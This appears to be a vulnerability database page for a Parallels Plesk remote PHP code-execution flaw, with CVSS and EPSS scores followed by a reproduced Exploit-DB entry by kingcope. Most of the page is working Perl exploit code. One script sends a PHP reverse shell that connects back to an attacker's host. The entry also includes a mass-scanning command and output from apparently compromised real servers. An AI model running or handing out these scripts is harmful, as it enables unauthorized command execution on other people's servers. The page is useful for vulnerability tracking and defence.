Related Weaknesses
CWE-ID
Weakness Name
Source
CWE-264
Category : Permissions, Privileges, and Access Controls Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date EPSS V0 EPSS V1 EPSS V2 (> 2022-02-04) EPSS V3 (> 2025-03-07) EPSS V4 (> 2025-03-17) 2022-02-06 – – 12.75% – – 2022-04-03 – – 12.75% – – 2022-12-25 – – 12.75% – – 2023-01-01 – – 12.75% – – 2023-02-26 – – 12.75% – – 2023-03-12 – – – 21.85% – 2024-02-11 – – – 3.77% – 2024-03-17 – – – 3.72% – 2024-03-31 – – – 4.14% – 2024-06-02 – – – 6.38% – 2024-06-02 – – – 6.38% – 2024-06-23 – – – 7.31% – 2024-07-28 – – – 9.99% – 2024-09-22 – – – 22.49% – 2024-10-13 – – – 17.21% – 2024-12-22 – – – 6.32% – 2025-01-19 – – – 6.32% – 2025-03-18 – – – – 36.38% 2025-03-18 – – – – 36.38,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Date Percentile 2022-02-06 9% 2022-04-03 95% 2022-12-25 96% 2023-01-01 95% 2023-02-26 96% 2023-03-12 96% 2024-02-11 92% 2024-03-17 92% 2024-03-31 92% 2024-06-02 94% 2024-06-02 94% 2024-06-23 94% 2024-07-28 95% 2024-09-22 97% 2024-10-13 96% 2024-12-22 94% 2025-01-19 94% 2025-03-18 97% 2025-03-18 97%
Exploit information
Exploit Database EDB-ID : 25986
Publication date : 2013-06-04 22h00 +00:00
Author : kingcope
EDB Verified : Yes
Plesk Apache zeroday / June 2013
discovered & exploited by kingcope
this Plesk configuration setting makes it possible:
scriptAlias /phppath/ "/usr/bin/"
Furthermore this is not cve-2012-1823 because the php interpreter is called directly.
(no php file is called)
Parallels Plesk Remote Exploit -- PHP Code Execution and therefore Command Execution
Affected and tested: Plesk 9.5.4
Plesk 9.3
Plesk 9.2
Plesk 9.0
Plesk 8.6
Discovered & Exploited by Kingcope / June 2013
Affected and tested OS: RedHat, CentOS, Fedora
Affected and tested Platforms: Linux i386, Linux x86_64
Untested OS: Windows (php.exe?)
Unaffected: 11.0.9 due to compiled in protection of PHP version
Traces in /var/log/httpd/access_log: 192.168.74.142 - - [19/Mar/2013:18:59:41 +0100] "POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%
6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%
62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%
3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 200 203 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
Shodanhq overview of Plesk on Linux:
http://www.shodanhq.com/search?q=plesklin
perl plesk-simple.pl <ip address>
...
...
...
OK
Linux ip.unsecure.net 2.6.18-028stab101.1 #1 SMP Sun Jun 24
19:50:48 MSD 2012 i686 i686 i386 GNU/Linux
uid=48(apache) gid=48(apache) groups=48(apache),2521(psaserv)
---
./pnscan -w"GET /phppath/php HTTP/1.0\r\n\r\n" -r "500 Internal" 76.12.54.163/16 80
perl plesk-simple.pl 76.12.81.206
HTTP/1.1 200 OK
Date: Sat, 16 Mar 2013 13:39:35 GMT
Server: Apache/2.2.3 (CentOS)
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html
77
Linux 114114.unsecureweb.com 2.6.18-308.24.1.el5 #1 SMP Tue Dec 4 17:43:34 E
ST 2012 x86_64 x86_64 x86_64 GNU/Linux
3e
uid=48(apache) gid=48(apache) groups=48(apache),2521(psaserv)
0
perl plesk-simple-ssl.pl <ip> (use HTTPS because HTTP gave an internal server error)
HTTP/1.1 200 OK
Date: Tue, 19 Mar 2013 15:29:28 GMT
Server: Apache/2.0.54 (Fedora)
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html
3
OK
60
Linux www.ucdavis.edu 2.6.17-1.2142_FC4 #1 Tue Jul 11 22:41:14 EDT 2006 i686 i686 i386 GNU/Linux
4c
uid=48(apache) gid=48(apache) groups=48(apache),500(webadmin),2522(psaserv)
0
use IO::Socket;
use URI::Escape;
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => 80,
Proto => 'tcp');
$pwn = '<?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id;"); ?>';
$arguments = uri_escape("-d","\0-\377"). "+" .
uri_escape("allow_url_include=on","\0-\377"). "+" .
uri_escape("-d","\0-\377"). "+" .
uri_escape("safe_mode=off","\0-\377"). "+" .
uri_escape("-d","\0-\377"). "+" .
uri_escape("suhosin.simulation=on","\0-\377"). "+" .
uri_escape("-d","\0-\377"). "+" .
uri_escape("disable_functions=\"\"","\0-\377"). "+" .
uri_escape("-d","\0-\377"). "+" .
uri_escape("open_basedir=none","\0-\377"). "+" .
uri_escape("-d","\0-\377"). "+" .
uri_escape("auto_prepend_file=php://input","\0-\377"). "+" .
uri_escape("-n","\0-\377");
$path = uri_escape("phppath","\0-\377") . "/" . uri_escape("php","\0-\377");
print $sock "POST /$path?$arguments HTTP/1.1\r\n"
."Host: $ARGV[0]\r\n"
."Content-Type: application/x-www-form-urlencoded\r\n"
."Content-Length: ". length($pwn) ."\r\n\r\n" . $pwn;
while(<$sock>) {
print;
}
use IO::Socket::SSL;
use URI::Escape;
$sock = IO::Socket::SSL->new(PeerAddr => $ARGV[0],
PeerPort => 443,
Proto => 'tcp');
$pwn = '<?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id;"); ?>';
$arguments = uri_escape("-d","\0-\377"). "+" .
uri_escape("allow_url_include=on","\0-\377"). "+" .
uri_escape("-d","\0-\377"). "+" .
uri_escape("safe_mode=off","\0-\377"). "+" .
uri_escape("-d","\0-\377"). "+" .
uri_escape("suhosin.simulation=on","\0-\377"). "+" .
uri_escape("-d","\0-\377"). "+" .
uri_escape("disable_functions=\"\"","\0-\377"). "+" .
uri_escape("-d","\0-\377"). "+" .
uri_escape("open_basedir=none","\0-\377"). "+" .
uri_escape("-d","\0-\377"). "+" .
uri_escape("auto_prepend_file=php://input","\0-\377"). "+" .
uri_escape("-n","\0-\377");
$path = uri_escape("phppath","\0-\377") . "/" . uri_escape("php","\0-\377");
print $sock "POST /$path?$arguments HTTP/1.1\r\n"
."Host: $ARGV[0]\r\n"
."Content-Type: application/x-www-form-urlencoded\r\n"
."Content-Length: ". length($pwn) ."\r\n\r\n" . $pwn;
while(<$sock>) {
print;
}
#CentOS/Redhat Linux: yum install perl-IO-Socket-SSL.noarch
###############################################################################################################
plesk-simple-ssl.pl
#plesk remote exploit by kingcope
#all your base belongs to me :>
use IO::Socket::SSL;
use URI::Escape;
$sock = IO::Socket::SSL->new(PeerAddr => $ARGV[0],
PeerPort => 443,
Proto => 'tcp');
$pwn = '<?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id;"); ?>';
$arguments = uri_escape("-d","\0-\377"). "+" .
uri_escape("allow_url_include=on","\0-\377"). "+" .
uri_escape("-d","\0-\377"). "+" .
uri_escape("safe_mode=off","\0-\377"). "+" .
uri_escape("-d","\0-\377"). "+" .
uri_escape("suhosin.simulation=on","\0-\377"). "+" .
uri_escape("-d","\0-\377"). "+" .
uri_escape("disable_functions=\"\"","\0-\377"). "+" .
uri_escape("-d","\0-\377"). "+" .
uri_escape("open_basedir=none","\0-\377"). "+" .
uri_escape("-d","\0-\377"). "+" .
uri_escape("auto_prepend_file=php://input","\0-\377"). "+" .
uri_escape("-n","\0-\377");
$path = uri_escape("phppath","\0-\377") . "/" . uri_escape("php","\0-\377");
print $sock "POST /$path?$arguments HTTP/1.1\r\n"
."Host: $ARGV[0]\r\n"
."User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\r\n"
."Content-Type: application/x-www-form-urlencoded\r\n"
."Content-Length: ". length($pwn) ."\r\n\r\n" . $pwn;
while(<$sock>) {
print;
}
#CentOS/Redhat Linux: yum install perl-IO-Socket-SSL.noarch
###############################################################################################################
plesk-simple.pl
#plesk remote exploit by kingcope
#all your base belongs to me :>
use IO::Socket;
use URI::Escape;
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => 80,
Proto => 'tcp');
$pwn = '<?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id;"); ?>';
$arguments = uri_escape("-d","\0-\377"). "+" .
uri_escape("allow_url_include=on","\0-\377"). "+" .
uri_escape("-d","\0-\377"). "+" .
uri_escape("safe_mode=off","\0-\377"). "+" .
uri_escape("-d","\0-\377"). "+" .
uri_escape("suhosin.simulation=on","\0-\377"). "+" .
uri_escape("-d","\0-\377"). "+" .
uri_escape("disable_functions=\"\"","\0-\377"). "+" .
uri_escape("-d","\0-\377"). "+" .
uri_escape("open_basedir=none","\0-\377"). "+" .
uri_escape("-d","\0-\377"). "+" .
uri_escape("auto_prepend_file=php://input","\0-\377"). "+" .
uri_escape("-n","\0-\377");
$path = uri_escape("phppath","\0-\377") . "/" . uri_escape("php","\0-\377");
print $sock "POST /$path?$arguments HTTP/1.1\r\n"
."Host: $ARGV[0]\r\n"
."User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\r\n"
."Content-Type: application/x-www-form-urlencoded\r\n"
."Content-Length: ". length($pwn) ."\r\n\r\n" . $pwn;
while(<$sock>) {
print;
}
###############################################################################################################
plesk.pl
#plesk remote exploit by kingcope
#all your base belongs to me :>
use IO::Socket;
use IO::Socket::SSL;
use URI::Escape;
sub usage {
print "usage: $0 <target> <http/https> <local_ip> <local_port>\n";exit;
}
if (!defined($ARGV[3])){usage();}
$target=$ARGV[0];
$proto=$ARGV[1];
if ($proto eq "http") {
$sock = IO::Socket::INET->new(
PeerAddr => $ARGV[0],
PeerPort => 80,
Proto => 'tcp');
}elsif ($proto eq "https") {
$sock = IO::Socket::SSL->new(
PeerAddr => $ARGV[0],
PeerPort => 443,
Proto => 'tcp');
}else {usage();}
$lip=$ARGV[2];
$lport=$ARGV[3];
$pwn="<?php echo \"Content-Type: text/plain\r\n\r\n\";set_time_limit (0); \$VERSION = \"1.0\"; \$ip =
'$lip'; \$port = $lport; \$chunk_size = 1400; \$write_a = null;
\$error_a = null; \$shell = '/bin/sh -i'; \$daemon =
0;\$debug = 0; if (function_exists('pcntl_fork')) { \$pid =
pcntl_fork(); if (\$pid == -1) { printit(\"ERROR: Can't fork\");
exit(1);} if (\$pid) { exit(0);} if (posix_setsid() == -1) {
printit(\"Error: Can't setsid()\"); exit(1); } \$daemon = 1;} else {
printit(\"WARNING: Failed to daemonise. This is quite common and not
fatal.\");}chdir(\"/\"); umask(0); \$sock = fsockopen(\$ip, \$port,
\$errno, \$errstr, 30);if (!\$sock) { printit(\"\$errstr (\$errno)\");
exit(1);} \$descriptorspec = array(0 => array(\"pipe\", \"r\"),1 =>
array(\"pipe\", \"w\"), 2 => array(\"pipe\", \"w\"));\$process =
proc_open(\$shell, \$descriptorspec, \$pipes);if
(!is_resource(\$process)) { printit(\"ERROR: Can't spawn shell\");
exit(1);}stream_set_blocking(\$pipes[0],
0);stream_set_blocking(\$pipes[1], 0);stream_set_blocking(\$pipes[2],
0);stream_set_blocking(\$sock, 0);while (1) { if (feof(\$sock)) {
printit(\"done.\"); break;} if
(feof(\$pipes[1])) {printit(\"done.\");break;}\$read_a = array(\$sock, \$pipes[1],
\$pipes[2]);\$num_changed_sockets = stream_select(\$read_a, \$write_a,
\$error_a, null);if (in_array(\$sock, \$read_a)) {if (\$debug)
printit(\"SOCK READ\");\$input = fread(\$sock,
\$chunk_size);if(\$debug) printit(\"SOCK:
\$input\");fwrite(\$pipes[0], \$input);}if (in_array(\$pipes[1],
\$read_a)) {if (\$debug) printit(\"STDOUT READ\");\$input =
fread(\$pipes[1], \$chunk_size);if (\$debug) printit(\"STDOUT:
\$input\");fwrite(\$sock, \$input);}if (in_array(\$pipes[2],
\$read_a)) {if (\$debug) printit(\"STDERR READ\");\$input =
fread(\$pipes[2], \$chunk_size); if (\$debug) printit(\"STDERR:
\$input\");fwrite(\$sock,
\$input);}}fclose(\$sock);fclose(\$pipes[0]);fclose(\$pipes[1]);fclose(\$pipes[2]);proc_close(\$process);function printit (\$string) {if (!\$daemon) {print
\"\$string\n\";}}
?>";
$arguments=uri_escape("-d","\0-\377"). "+" .
uri_escape("allow_url_include=on","\0-\377"). "+" .
uri_escape("-d","\0-\377"). "+" .
uri_escape("safe_mode=off","\0-\377"). "+" .
uri_escape("-d","\0-\377"). "+" .
uri_escape("suhosin.simulation=on","\0-\377"). "+" .
uri_escape("-d","\0-\377"). "+" .
uri_escape("disable_functions=\"\"","\0-\377"). "+" .
uri_escape("-d","\0-\377"). "+" .
uri_escape("open_basedir=none","\0-\377"). "+" .
uri_escape("-d","\0-\377"). "+" .
uri_escape("auto_prepend_file=php://input","\0-\377"). "+" .
uri_escape("-n","\0-\377");
$path=uri_escape("phppath","\0-\377"). "/" . uri_escape("php","\0-\377");
print $sock "POST /$path?$arguments HTTP/1.1\r\n".
"Host: $ARGV[0]\r\n".
"User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\r\n".
"Content-Type: text/plain\r\n".
"Content-Length: ". length($pwn) ."\r\n\r\n". $pwn;
while(<$sock>){print $_;};
###############################################################################################################
Products Mentioned
Configuraton 0 Parallels>>Parallels_plesk_panel >> Version 9.0
Parallels>>Parallels_plesk_panel >> Version 9.2
Parallels>>Parallels_small_business_panel >> Version 10.0
Linux>>Linux_kernel >> Version *
References